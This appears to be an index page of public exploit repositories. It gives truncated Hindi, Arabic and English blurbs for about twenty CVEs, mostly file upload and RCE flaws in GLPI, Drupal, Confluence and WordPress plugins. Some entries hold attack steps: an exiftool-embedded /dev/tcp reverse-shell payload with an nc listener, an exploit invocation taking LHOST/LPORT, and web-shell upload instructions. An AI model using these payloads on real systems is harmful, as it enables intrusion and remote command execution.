CVE-2025-24801

CVE-2025-24801 GLPI RCE के लिए PoC इस रिपॉजिटरी में एक प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट poc.py है जो CVE-2025-24801 का शोषण करती है, जो GLPI 10.0.17 में एक LFI-से-RCE भेद्यता है। यह स्वचालित करता है: GLPI में लॉगिन करना दस्तावेज़ प्रकार सेटिंग्स अपडेट करके .php अपलोड सक्षम करना AJAX फ़ाइल अपलोड...

drupal-exploit

drupal-exploit CVE-2018-7600 سيقوم هذا السكربت باستغلال الثغرة CVE-2018-7600 في دروبال 7 : drupal.py https://drupaldomain/drupal/ uid=33www-data gid=33www-data groups=33www-data https://nvd.nist.gov/vuln/detail/CVE-2018-7600 https://www.drupal.org/sa-core-2018-002...

CVE-2025-13595

CIBELES AI = 1.10.8 - رفع ملفات تعسفي بدون مصادقة تحتوي الإصدارات 1.10.8 وما دون من المكوّن الإضافي Cibeles AI لووردبريس على ثغرة تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في ملف actualizadorgit.php. يمكن الوصول إلى هذا الملف مباشرة عبر HTTP دون أي فحوصات مصادقة أو تفويض، مما يسمح للمهاجمين غير...

CVE-2023-22515_RCE

कॉन्फ्लुएंस में बैकएंड अनुमति प्राप्त करने के बाद एक आरसीई विधि मैन्युअल गेटशेल चरण आप बैकएंड पर कस्टम प्लगइन अपलोड करके आरसीई प्राप्त कर सकते हैं plugins/servlet/com.jsos.shell/ShellServlet पर जाएँ...

CVE-2025-12973

S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator putcontents$outfile, $filecontent, FSCHMODFILE سطر 344...

CVE-2023-4220-Chamilo-LMS

Chamilo LMS अनधिकृत बड़ी अपलोड फ़ाइल RCE PoC यह स्क्रिप्ट CVE-2023-4220 में वर्णित Chamilo's LMS सॉफ़्टवेयर सुरक्षा दोष का शोषण करने की अनुमति देता है। सिस्टम 1.11.24 से पहले के संस्करणों में कमजोर है। उपयोग अपनी मशीन पर रिपॉजिटरी क्लोन करें और pip का उपयोग करके निर्भरताएँ स्थापित करें इन...

CVE-2023-24610

CVE-2023-24610 هذا هو دليل المفهوم لـ CVE-2023-24610 نبدأ بإنشاء ملف متعدد اللغات باستخدام exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php نقوم بتغيير الملف إلى png ليتجاوز الفحص في الواجهة الأمامية بعد ذلك، نقوم بتشغيل مستمع nc على المنفذ 8888 لاستقبال الصدفة...

CVE-2024-7808

CVE-2024-7808 💀 $$\colorred قَدْ \space يَنْتَهِكُ \space هَذَا \space الِاسْتِغْلَالُ \space الْقَانُونَ.$$ $$\colorred\space أَنْتَ \space مَسْؤُولٌ \space عَنْ \space أَفْعَالِكَ.$$ $$\colorredلِأَغْرَاضِ \space الْعَرْضِ \space فَقَطْ.$$ الوصف RCE عبر CSRF من المستخدمين غير الإداريين في...

CVE-2024-27665

CVE-2024-27665 Unifiedtransform v2.X عرضة للبرمجة النصية عبر المواقع المخزنة XSS عبر ميزة تحميل الملفات في وحدة المنهج الدراسي. المُورّد: https://github.com/changeweb/Unifiedtransform إثبات الفرضية PoC الخطوة 1: قم بتسجيل الدخول إلى التطبيق وانتقل إلى الوحدة الأكاديمية. الخطوة 2: أنشئ الجلسة والف...

CVE-2025-0282-Ivanti-exploit

CVE-2025-0282-Ivanti-शोषण CVE-2025-0282 एक महत्वपूर्ण कमजोरी है जो Ivanti Connect Secure में पाई गई है, जो बफर ओवरफ्लो शोषण के माध्यम से रिमोट कमांड निष्पादन RCE की अनुमति देती है। यह कमजोरी हमलावरों को दुर्भावनापूर्ण फ़ाइलें जैसे वेब शेल अपलोड करने और लक्ष्य प्रणाली पर उन्नत विशेषाधिकारों के साथ...

CVE-2023-50564

CVE-2023-50564 📌 الوصف يسمح هذا الاستغلال لمسؤول مصادق في Pluck CMS v4.7.18 برفع وحدة ZIP خبيثة تحتوي على قشرة PHP، مما يؤدي إلى تنفيذ الأوامر عن بعد RCE. ⚙️ الميزات المصادقة على الهدف باستخدام اسم مستخدم وكلمة مرور صالحين إنشاء أرشيف ZIP تلقائيًا من ملف PHP المقدم رفع الوحدة إلى نقطة النهاية...

CVE-2025-57460

CVE-2025-57460 الوصف: ثغرة رفع ملفات في machsol machpanel 8.0.32 تسمح للمهاجم بالحصول على ويب شيل. إثبات المفهوم: انتقل إلى https://controlpaneldomain/Client/SubmitTicket.aspx وقم برفع ويب شيل ASPx ثم أرسل التذكرة، وأخيرًا افتح الملف لتنفيذ الشل وتنفيذ الأوامر مثل whoami. اكتشفته Aljohara...

CVE-2025-70559

غيّر دليل الرفع في سكربت بايثون python3 exploit.py LHOST LPORT...

CVE-2025-23968

AI Bud – مولد المحتوى بالذكاء الاصطناعي، روبوت الدردشة الذكي، ChatGPT، Gemini، GPT-4o يُعرّض إضافة AI Bud نقطة نهاية REST API /wp-json/ai-buddy/v1/wp/attachments تتيح رفع الملفات إلى مكتبة وسائط WordPress. تحتوي منطق الملف في نقطة النهاية على وظيفة إعادة تسمية الملفات التي تُفعَّل بعد التحقق من ن...

weaponized-0604

हथियारबंद CVE-2019-0604 CVE-2019-0604 को अधिकतम करने के लिए स्वचालित शोषण उपकरण। आवश्यकता requirements.txt फ़ाइल में इस उपकरण द्वारा उपयोग की जाने वाली सभी Python लाइब्रेरियाँ सूचीबद्ध होनी चाहिए, और उन्हें इसका उपयोग करके स्थापित किया जाएगा $ pip install -r requirements.txt मैन्युअल ब्लाइंड शोषण...

CVE-2025-13374

Kalrav AI Agent = 2.3.3 - बिना प्रमाणीकरण के मनमानी फ़ाइल अपलोड kalravuploadfile AJAX Action के माध्यम से WordPress Kalrav AI Agent प्लगइन संस्करण 2.3.3 और पूर्व में एक मनमानी फ़ाइल अपलोड भेद्यता है जो बिना प्रमाणीकृत उपयोगकर्ताओं को सर्वर पर दुर्भावनापूर्ण PHP फ़ाइलें अपलोड करने की अनुमति देती ह...

CVE-2023-40028

CVE-2023-40028: قراءة ملفات عشوائية في Ghost إثبات مفهوم لـ CVE-2023-40028، وهي ثغرة قراءة ملفات عشوائية تتطلب المصادقة في ميزة استيراد المحتوى في Ghost. يقوم أرشيف ZIP مُصمَّم خصيصًا بإنشاء symlink تحت content/images، مما يسمح للسكربت بطلب ملف من مضيف Ghost. إصدارات Ghost قبل 5.59.1 متأثرة. قم...

CVE-2019-11231-PoC

استغلال RCE في GetSimpleCMS CVE-2019-11231 استغلال تنفيذ تعليمات برمجية عن بُعد بدون مصادقة لـ GetSimpleCMS ≤ 3.3.15 الثغرة GetSimpleCMS تعرض ملفات حساسة للعامة /data/other/authorization.xml, /data/users/ مما يسمح للمهاجمين بـ: 1. تسريب مفاتيح API وأسماء المستخدمين 2. تزوير ملفات تعريف الارتباط...

CVE-2025-13597

AI Feeds = 1.0.11 - رفع ملف تعسفي غير مصادق عليه يحتوي إضافة ووردبريس AI Feeds في الإصدارات 1.0.11 وما دون على ثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها في ملف actualizadorgit.php. يمكن الوصول إلى هذا الملف مباشرة عبر HTTP دون أي تحقق من المصادقة أو التفويض، مما يسمح للمهاجمين غير المصادق...

CVE-2026-85097

The Bricksforge plugin for WordPress is vulnerable to unauthenticated arbitrary file upload in versions up to, and including, 3.1.8.9. This is due to insufficient validation of the attacker-controlled URL field in the 'temporaryFileUploads' parameter during form submission. An unauthenticated...